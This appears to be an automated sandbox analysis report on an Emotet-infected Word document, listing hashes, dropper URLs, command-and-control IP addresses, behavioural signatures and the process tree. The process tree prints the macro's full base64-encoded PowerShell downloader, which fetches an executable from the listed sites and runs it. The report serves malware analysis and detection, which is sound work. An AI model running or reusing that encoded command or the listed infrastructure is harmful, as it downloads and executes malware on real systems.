Analysis

  • max time kernel
    137s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    25/09/2020, 12:51

General

  • Target
    emotet_e1_8b17475aecc5f374983489f9fcc3bc5b1d82706c2245ecbc311f1e07902ad4ef_2020-09-25__124659791820._doc.doc
  • Size 163KB
  • Sample200925-8erc2e1c9s
  • SHA256 8b17475aecc5f374983489f9fcc3bc5b1d82706c2245ecbc311f1e07902ad4ef
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://wynn838.com/wp-content/Eo/

  • exe.dropper

    http://ottimade.com/wp-content/E/

  • exe.dropper

    https://konican.com/cgi-bin/gz/

  • exe.dropper

    http://glassesnepal.com/gxlaf/tQ6/

  • exe.dropper

    http://kharazmischl.com/w/k/

  • exe.dropper

    https://lojaskock.com.br/BACKUP/AW/

  • exe.dropper

    http://secrice.com/writing/2003/0nI/

Extracted

Family
  • emotet

C2
  • 12.163.208.58:80

  • 45.33.35.74:8080

  • 87.106.253.248:8080

  • 192.241.146.84:8080

  • 190.115.18.139:8080

  • 65.36.62.20:80

  • 170.81.48.2:80

  • 83.169.21.32:7080

  • 185.232.182.218:80

  • 190.2.31.172:80

  • 77.106.157.34:8080

  • 82.230.1.24:80

  • 202.4.58.197:80

  • 201.213.177.139:80

  • 78.249.119.122:80

  • 123.51.47.18:80

  • 77.90.136.129:8080

  • 60.93.23.51:80

  • 152.169.22.67:80

  • 190.117.79.209:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_8b17475aecc5f374983489f9fcc3bc5b1d82706c2245ecbc311f1e07902ad4ef_2020-09-25__124659791820._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1756
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABBADEANwBfAHQANgBkAD0AKAAnAFMAJwArACcAZAB1ACcAKwAoACcAaQAnACsAJwBpAGUAdQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAFIAbwBGAEkAbABFAFwAVAByAEMAUAB6ADAAeABcAEIATwBkADQAWQByADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGAAYwB1AFIAaQBUAHkAcAByAE8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIAJwApACsAJwAsACAAJwArACcAdABsACcAKwAoACcAcwAxADEAJwArACcALAAnACkAKwAoACcAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQAQwB4ADMAcwBsAGoAeQAgAD0AIAAoACcASQAnACsAJwBrAF8AJwArACgAJwB1AGoAaQAnACsAJwA0AGgAeQAnACkAKQA7ACQARwA5AHkAeQBvAHgAMgA9ACgAJwBNACcAKwAoACcAdgBvACcAKwAnAHkAJwApACsAKAAnAGwAJwArACcAOABvACcAKQApADsAJABFAGsAZwBrAGwAMwByAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAVQAnACsAJwBxAGUAVAAnACkAKwAnAHIAJwArACgAJwBjAHAAegAnACsAJwAwAHgAVQAnACsAJwBxAGUAQgBvACcAKQArACcAZAAnACsAJwA0ACcAKwAoACcAeQAnACsAJwByADgAVQBxAGUAJwApACkALgAiAFIARQBQAGAATABhAEMAZQAiACgAKAAnAFUAcQAnACsAJwBlACcAKQAsAFsAUwB0AFIASQBuAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACsAJABDAHgAMwBzAGwAagB5ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwB2AHAAbwA3ADkANQA9ACgAJwBNAG4AJwArACgAJwBzAG4AJwArACcAMgA0ADkAJwApACkAOwAkAEgAegBoAGIAawB6AGYAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAQwBsAEkARQBuAFQAOwAkAFAAZgBmAHgANwBfAHgAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB5AG4AbgA4ADMAJwApACsAKAAnADgALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAALQAnACkAKwAnAGMAJwArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AdAAvACcAKQArACcARQBvACcAKwAoACcALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACgAJwBvACcAKwAnAHQAdABpACcAKQArACgAJwBtACcAKwAnAGEAZAAnACkAKwAoACcAZQAuACcAKwAnAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AYwBvAG4AJwApACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQALwBFACcAKwAnAC8AKgBoAHQAdABwAHMAOgAvAC8AawBvAG4AJwArACcAaQAnACsAJwBjAGEAbgAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAGMAZwBpACcAKQArACgAJwAtAGIAaQAnACsAJwBuAC8AZwB6AC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwBnACcAKwAnAGwAJwArACcAYQBzACcAKwAnAHMAZQBzAG4AZQBwAGEAbAAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAGcAeAAnACsAJwBsAGEAZgAvAHQAUQAnACsAJwA2AC8AKgAnACkAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAawBoAGEAcgAnACsAJwBhAHoAbQBpACcAKQArACcAcwAnACsAJwBjACcAKwAnAGgAJwArACcAbAAnACsAKAAnAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAdwAvACcAKwAnAGsALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcABzACcAKwAoACcAOgAvAC8AbAAnACsAJwBvAGoAYQAnACkAKwAoACcAcwBrAG8AJwArACcAYwAnACkAKwAoACcAawAuAGMAbwBtACcAKwAnAC4AYgAnACsAJwByAC8AQgBBACcAKQArACgAJwBDAEsAVQAnACsAJwBQAC8AJwApACsAKAAnAEEAVwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcwBlAGMAJwApACsAKAAnAHIAaQBjAGUAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHIAaQB0AGkAbgAnACkAKwAoACcAZwAvADIAJwArACcAMAAwADMALwAnACsAJwAwAG4AJwArACcASQAvACcAKQApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAcAB3AGYAZwBiADEAPQAoACgAJwBNAHEAeQAnACsAJwAwACcAKQArACcAdAB4ACcAKwAnAF8AJwApADsAZgBvAHIAZQBhAGMAaAAoACQARQBfAGUAMgBhAGwAeAAgAGkAbgAgACQAUABmAGYAeAA3AF8AeAApAHsAdAByAHkAewAkAEgAegBoAGIAawB6AGYALgAiAGQAYABPAHcATgBsAE8AYQBgAGQARgBJAGwAZQAiACgAJABFAF8AZQAyAGEAbAB4ACwAIAAkAEUAawBnAGsAbAAzAHIAKQA7ACQARQBhAHMAaAA0AGoAaQA9ACgAJwBDAHMAJwArACcAZwAnACsAKAAnAGIAZQAnACsAJwBvAGIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARQBrAGcAawBsADMAcgApAC4AIgBMAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMAMwAwADkAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvACcAKwAnAGsAZQAtAEkAdABlAG0AJwApACgAJABFAGsAZwBrAGwAMwByACkAOwAkAFMAbQA3AGsAaQBjAHoAPQAoACgAJwBNADkAJwArACcAcABrADcAJwApACsAJwB4ADYAJwApADsAYgByAGUAYQBrADsAJABMAGgAMQBsADEANwBkAD0AKAAnAEkAYwAnACsAKAAnAHkANwAnACsAJwB6ADQAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBsADUAbABlADMAOQA9ACgAKAAnAFYAbQBrAG0AJwArACcANAAnACkAKwAnAGEAJwArACcAaQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Users\Admin\Trcpz0x\Bod4yr8\Ik_uji4hy.exe
      "C:\Users\Admin\Trcpz0x\Bod4yr8\Ik_uji4hy.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptdlg.exe
        "C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptdlg.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3988

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/700-15-0x0000000000720000-0x0000000000730000-memory.dmp

        memory/700-14-0x00000000005F0000-0x0000000000602000-memory.dmp

        memory/1648-10-0x0000023B55630000-0x0000023B55631000-memory.dmp

        memory/1648-9-0x0000023B55480000-0x0000023B55481000-memory.dmp

        memory/1648-8-0x00007FFA38E30000-0x00007FFA3981C000-memory.dmp

        memory/1756-4-0x000001E8A8666000-0x000001E8A866B000-memory.dmp

        memory/1756-0-0x00007FFA40290000-0x00007FFA40956000-memory.dmp

        memory/1756-6-0x000001E8A8861000-0x000001E8A886A000-memory.dmp

        memory/1756-5-0x000001E8A886A000-0x000001E8A886F000-memory.dmp

        memory/1756-7-0x000001E8A886A000-0x000001E8A886F000-memory.dmp

        memory/1756-3-0x000001E8A6082000-0x000001E8A6087000-memory.dmp

        memory/1756-2-0x000001E8A8666000-0x000001E8A866B000-memory.dmp

        memory/1756-1-0x000001E8A8661000-0x000001E8A8666000-memory.dmp

        memory/3988-18-0x0000000000560000-0x0000000000572000-memory.dmp

        memory/3988-19-0x0000000000580000-0x0000000000590000-memory.dmp